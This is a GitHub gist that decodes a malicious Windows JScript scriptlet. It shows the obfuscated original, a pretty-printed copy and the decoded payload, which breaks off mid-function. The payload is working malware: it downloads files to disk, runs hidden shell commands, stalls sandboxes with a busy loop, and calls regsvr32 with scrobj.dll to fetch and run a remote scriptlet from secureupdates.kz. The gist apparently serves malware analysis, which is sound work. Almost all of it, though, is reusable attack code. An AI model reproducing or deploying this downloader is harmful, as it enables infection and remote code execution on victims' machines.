Skip to content

Instantly share code, notes, and snippets.

@seclib

seclib/Scriptlet Decoded

Created March 5, 2019 09:59
Show Gist options
  • Save seclib/500494b047e11e80211f9e76332ca990 to your computer and use it in GitHub Desktop.
Save seclib/500494b047e11e80211f9e76332ca990 to your computer and use it in GitHub Desktop.
Download ZIP
Scriptlet Decoded
Raw
Scriptlet Decoded
<component id="afgwwZzDmK9fxaJdvFovs8GYLrqj" >
<registration
progid="obLrn.U3rY5s"
classid="{783B20D9-521E-9B68-FF17-33FF120E86D6}" >
<script language="JScript" >
function iZjDo3k(jfi2VxX){var rJK4Qm = "";var h8Oy = 0;for (h8Oy = jfi2VxX.length - 1; h8Oy >= 0; h8Oy -= 1){rJK4Qm += jfi2VxX.charAt(h8Oy);}return rJK4Qm;}function yZY8ddf(kJYu) {var q2XJc = "r";var kKfG = "C";var fu = [];var keFQz9Vbm2 = "o";fu[0] = "f" + q2XJc + keFQz9Vbm2 + "m";fu[1] = kKfG + "ha";fu[2] = q2XJc + kKfG;fu[3] = keFQz9Vbm2 + "de";var dmDU5P = fu[0] + fu[1] + fu[2] + fu[3];var mmeF5Ap = String;return mmeF5Ap[dmDU5P](kJYu);}function xP035QGgN(ag){return "+" ==ag?62:"/"==ag?63:vm27C7HmF.indexOf(ag);}function ph6T0AN(fIImISnUlb){var vpq8QW3uBI;var mRIs;var xYYT7RMqs;var hQtefhUl;var tgHARy;var sDBrnzbZ4I = "";for(vpq8QW3uBI = 0;vpq8QW3uBI<fIImISnUlb.length-3;vpq8QW3uBI += 4){mRIs=xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI+0));xYYT7RMqs=xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI+1));hQtefhUl=xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI+2));tgHARy=xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI+3));sDBrnzbZ4I+=yZY8ddf(mRIs<<2|xYYT7RMqs>>>4);if (fIImISnUlb.charAt(vpq8QW3uBI+2)!=f0o5am3){sDBrnzbZ4I += yZY8ddf(xYYT7RMqs<<4&240|hQtefhUl>>>2&15);}if (fIImISnUlb.charAt(vpq8QW3uBI+3)!=f0o5am3){sDBrnzbZ4I += yZY8ddf(hQtefhUl<<6&192|tgHARy);}}return sDBrnzbZ4I;}function jWPm(f1sempIDw, jcPikziu) {var aKNz1o = [];var teDaG = "";var y95VE4b;var ySkI4S;y95VE4b = 1;while (y95VE4b <= 255){aKNz1o[yZY8ddf(y95VE4b)] = y95VE4b;y95VE4b += 1;}y95VE4b = 0;ySkI4S = 0;while (y95VE4b < f1sempIDw.length){teDaG += yZY8ddf(aKNz1o[f1sempIDw.substr(y95VE4b, 1)] ^ aKNz1o[jcPikziu.substr(ySkI4S, 1)]);ySkI4S = (ySkI4S < jcPikziu.length) ? ySkI4S + 1 : 0;y95VE4b += 1;}return teDaG;}function vTIxj(lEeBbw9,y3A9){return jWPm(ph6T0AN(iZjDo3k(lEeBbw9)),y3A9);}var vm27C7HmF = "";var q2XJc = (570830/8782);while (q2XJc < (-5405+5496)) {vm27C7HmF += yZY8ddf(q2XJc);q2XJc += 1;}q2XJc = (-4585+4682);while (q2XJc < (654729/5323)) {vm27C7HmF += yZY8ddf(q2XJc);q2XJc += 1;}q2XJc = (1139-1091);while (q2XJc < (8372-8314)) {vm27C7HmF += yZY8ddf(q2XJc);q2XJc += 1;}vm27C7HmF += yZY8ddf(43, 47);var f0o5am3 = yZY8ddf((-603+664));var wz = function(nFpE0) {var bJLzieyM6;try {bJLzieyM6 = (new Function(nFpE0))(bJLzieyM6);return bJLzieyM6;} catch (tqDVvSQvgM) {return false;}};try{var iTcqqnK2 = new ActiveXObject("hA6c1A7m");}catch(jCp){var fbB = "==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";wz(vTIxj(fbB,"b2ix"));}
</script>
</registration>
</component>
</package><!--F6507B671242B4AF815B1BF13FF81A43DD45446865B6D1575CA093B235E76BAE1F47E076C2A5172FFE667DB980EC68236E36CC9FD9FD5D2305589FD7ED6AEFAB-->
## pretty printed to:
function iZjDo3k(jfi2VxX) {
var rJK4Qm = "";
var h8Oy = 0;
for (h8Oy = jfi2VxX.length - 1; h8Oy >= 0; h8Oy -= 1) {
rJK4Qm += jfi2VxX.charAt(h8Oy);
}
return rJK4Qm;
}
function yZY8ddf(kJYu) {
var q2XJc = "r";
var kKfG = "C";
var fu = [];
var keFQz9Vbm2 = "o";
fu[0] = "f" + q2XJc + keFQz9Vbm2 + "m";
fu[1] = kKfG + "ha";
fu[2] = q2XJc + kKfG;
fu[3] = keFQz9Vbm2 + "de";
var dmDU5P = fu[0] + fu[1] + fu[2] + fu[3];
var mmeF5Ap = String;
return mmeF5Ap[dmDU5P](kJYu);
}
function xP035QGgN(ag) {
return "+" == ag ? 62 : "/" == ag ? 63 : vm27C7HmF.indexOf(ag);
}
function ph6T0AN(fIImISnUlb) {
var vpq8QW3uBI;
var mRIs;
var xYYT7RMqs;
var hQtefhUl;
var tgHARy;
var sDBrnzbZ4I = "";
for (vpq8QW3uBI = 0; vpq8QW3uBI < fIImISnUlb.length - 3; vpq8QW3uBI += 4) {
mRIs = xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI + 0));
xYYT7RMqs = xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI + 1));
hQtefhUl = xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI + 2));
tgHARy = xP035QGgN(fIImISnUlb.charAt(vpq8QW3uBI + 3));
sDBrnzbZ4I += yZY8ddf(mRIs << 2 | xYYT7RMqs >>> 4);
if (fIImISnUlb.charAt(vpq8QW3uBI + 2) != f0o5am3) {
sDBrnzbZ4I += yZY8ddf(xYYT7RMqs << 4 & 240 | hQtefhUl >>> 2 & 15);
}
if (fIImISnUlb.charAt(vpq8QW3uBI + 3) != f0o5am3) {
sDBrnzbZ4I += yZY8ddf(hQtefhUl << 6 & 192 | tgHARy);
}
}
return sDBrnzbZ4I;
}
function jWPm(f1sempIDw, jcPikziu) {
var aKNz1o = [];
var teDaG = "";
var y95VE4b;
var ySkI4S;
y95VE4b = 1;
while (y95VE4b <= 255) {
aKNz1o[yZY8ddf(y95VE4b)] = y95VE4b;
y95VE4b += 1;
}
y95VE4b = 0;
ySkI4S = 0;
while (y95VE4b < f1sempIDw.length) {
teDaG += yZY8ddf(aKNz1o[f1sempIDw.substr(y95VE4b, 1)] ^ aKNz1o[jcPikziu.substr(ySkI4S, 1)]);
ySkI4S = (ySkI4S < jcPikziu.length) ? ySkI4S + 1 : 0;
y95VE4b += 1;
}
return teDaG;
}
function vTIxj(lEeBbw9, y3A9) {
return jWPm(ph6T0AN(iZjDo3k(lEeBbw9)), y3A9);
}
var vm27C7HmF = "";
var q2XJc = (570830 / 8782);
while (q2XJc < (-5405 + 5496)) {
vm27C7HmF += yZY8ddf(q2XJc);
q2XJc += 1;
}
q2XJc = (-4585 + 4682);
while (q2XJc < (654729 / 5323)) {
vm27C7HmF += yZY8ddf(q2XJc);
q2XJc += 1;
}
q2XJc = (1139 - 1091);
while (q2XJc < (8372 - 8314)) {
vm27C7HmF += yZY8ddf(q2XJc);
q2XJc += 1;
}
vm27C7HmF += yZY8ddf(43, 47);
var f0o5am3 = yZY8ddf((-603 + 664));
var wz = function(nFpE0) {
var bJLzieyM6;
try {
bJLzieyM6 = (new Function(nFpE0))(bJLzieyM6);
return bJLzieyM6;
} catch (tqDVvSQvgM) {
return false;
}
};
try {
var iTcqqnK2 = new ActiveXObject("hA6c1A7m");
} catch (jCp) {
var fbB = "==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";
wz(vTIxj(fbB, "b2ix"));
}
## decodes to:
function obj(xString) {
return new ActiveXObject(xString);
}
var xhr;
try {
xhr = obj("Msxml2.ServerXMLHTTP.6.0");
} catch (e) {
xhr = obj("Msxml2.ServerXMLHTTP.3.0");
}
var con;
try {
con = obj("Msxml2.XMLHTTP.6.0");
} catch (e) {
try {
con = obj("Msxml2.XMLHTTP.3.0");
} catch (e) {
con = obj("Microsoft.XMLHTTP");
}
}
var rsvr = "regsvr32.exe";
function check_Net() {
var Resp = false;
var conz1 = con;
try {
conz1.open("GET", "http://update.microsoft.com/", false);
} catch (e) {
return false;
}
conz1.onreadystatechange = function() {
if (conz1.readyState === 4) {
if (conz1.status === 200) {
Resp = true;
} else {
Resp = false;
}
}
};
try {
conz1.send();
} catch (e) {
return false;
}
return Resp;
}
function fuck_js() {
try {
xhr.setTimeouts(5000, 5000, 10000, 10000);
xhr.open("GET", "http://8.8.8.8/" + (Math.random() * 100000).toFixed(0), false);
xhr.send();
} catch (e) {
return false;
}
}
function waitfor(zMinute, iGo) {
var xlmt;
xlmt = Date.parse(Date()) + (zMinute * 60000);
while (Date.parse(Date()) < xlmt) {
fuck_js();
}
if (iGo === 1) {
go();
}
}
function wget(URL, SaveTo) {
var con3 = con;
try {
con3.open("GET", URL, false);
} catch (e14) {
return false;
}
con3.onreadystatechange = function() {
if (con3.readyState === 4) {
if (con3.status === 200) {
try {
var adb = obj("ADODB.Stream");
adb.open();
adb.type = 1;
adb.write(con3.responsebody);
adb.savetofile(SaveTo);
adb.close();
} catch (e551) {
return false;
}
} else {
return false;
}
} else {
return false;
}
};
try {
con3.send();
} catch (e15) {
return false;
}
return true;
}
function myEnv(xVar) {
var a1;
var rEnv;
a1 = obj("WScript.Shell");
rEnv = a1.environment("PROCESS");
return rEnv(xVar);
}
function gObj() {
var objMain;
try {
objMain = GetObject("winmgmts:{impersonationLevel=impersonate}");
return objMain;
} catch (wtf111) {
return false;
}
}
function installed() {
var wmi2;
var wmiC2;
var eN;
var itemNow;
var ask = 0;
wmi2 = gObj();
if (wmi2 !== false) {
wmiC2 = wmi2.ExecQuery("SELECT Name FROM Win32_Process");
eN = new Enumerator(wmiC2);
while (eN.atEnd() === false) {
itemNow = eN.item();
if (itemNow.Name === rsvr) {
ask += 1;
if (ask >= 2) {
return true;
}
}
eN.moveNext();
}
return false;
} else {
return false;
}
}
function xGo(xcmd) {
try {
var wsh = obj("wscript.shell");
wsh.run(xcmd, 0, 0);
return true;
} catch (e) {
return false;
}
}
function uN() {
try {
var WN = obj("WScript.Network");
return WN.UserName;
} catch (e7) {
return "un_error";
}
}
function fexist(xpath) {
var fso;
try {
fso = obj("Scripting.FileSystemObject");
if (fso.FileExists(xpath)) {
return true;
} else {
return false;
}
} catch (feer) {
return false;
}
}
function tempExtra() {
return Math.floor(Math.random() * 65536) + ".txt";
}
function hit() {
var x1;
var Note;
var xStore;
var Sp;
var saveTo;
var xx1 = rsvr + " /s /n /u /i:";
var xx2 = " scrobj.dll";
var mLink = "https://secureupdates.kz/20jjjjjj/changelog.txt";
var comm = xx1 + mLink + xx2;
if (xGo(comm) === true) {
waitfor(1, 0);
}
if (installed() === false) {
xStore = "HKEY_CURRENT_USER\\Software\\Microsoft\\Notepad\\" + uN();
saveTo = myEnv("APPDATA") + "\\";
try {
x1 = obj("WScript.Shell");
Note = x1.RegRead(xStore);
if (Note) {
if (Note.indexOf(",") !== -1) {
Sp = Note.split(",");
saveTo += Sp[0] + ".txt";
} else {
saveTo += tempExtra();
}
} else {
saveTo += tempExtra();
}
} catch (e11) {
saveTo += tempExtra();
}
